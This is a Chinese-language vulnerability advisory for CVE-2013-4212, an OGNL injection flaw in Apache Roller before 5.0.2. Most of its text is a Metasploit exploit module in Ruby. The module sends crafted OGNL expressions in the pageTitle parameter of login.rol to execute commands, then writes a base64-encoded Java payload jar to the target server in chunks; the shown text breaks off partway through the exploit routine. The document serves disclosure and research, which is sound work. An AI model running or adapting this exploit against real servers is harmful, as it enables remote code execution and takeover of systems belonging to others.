发布日期:2013-12-31
更新日期:2013-11-27
受影响系统:
Apache Group Roller 4.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 63928
CVE(CAN) ID: CVE-2013-4212
Apache Roller是适合于博客站点的多用户博客群服务器。
Apache Roller 5.0.2之前版本在实现上存在OGNL注入漏洞,因为使用ActionSupport.getText方法的方式不正确,所有UIAction控制器中存在OGNL注入,远程攻击者可利用此漏洞控制服务器端对象并在受影响应用中执行任意代码。
<*来源:unknown
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Roller OGNL Injection',
'Description' => %q{
This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The
vulnerability is due to an OGNL injection on the UIAction controller because of an
insecure usage of the ActionSupport.getText method. This module has been tested
successfully on Apache Roller 5.0.1 on Ubuntu 10.04.
},
'Author' =>
[
'Unknown', # From coverity.com / Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4212'],
[ 'URL',
'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' =>
[
[ 'Apache Roller 5.0.1', { } ]
],
'DisclosureDate' => 'Oct 31 2013',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"])
], self.class)
end
def execute_command(cmd)
injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}"
injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"),
'encode_params' => false,
'vars_get' =>
{
'pageTitle' => injection
}
})
end
def java_upload_part(part, filename, append = 'false')
cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close(),#a='#{@random_suffix}'"
execute_command(cmd)
end
def exploit
print_status("Checking injection...")
if check == Exploit::CheckCode::Vulnerable
print_good("Target looks vulnerable, exploiting...")
else
print_warning("Target not found as vulnerable, trying anyway...")
end
@random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution
@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
append = 'false'
jar = payload.encoded_jar.pack
File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end
chunk_length = 384 # 512 bytes when base64 encoded